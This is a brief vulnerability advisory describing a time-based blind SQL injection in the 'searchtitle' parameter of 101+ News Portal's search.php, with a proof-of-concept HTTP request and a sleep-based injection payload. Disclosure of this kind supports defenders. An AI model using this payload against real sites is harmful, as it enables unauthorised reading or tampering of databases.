## Description
A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter.
## Request PoC
```
POST /101news/search.php HTTP/1.1
Host: 192.168.1.101
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8

```
This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works.
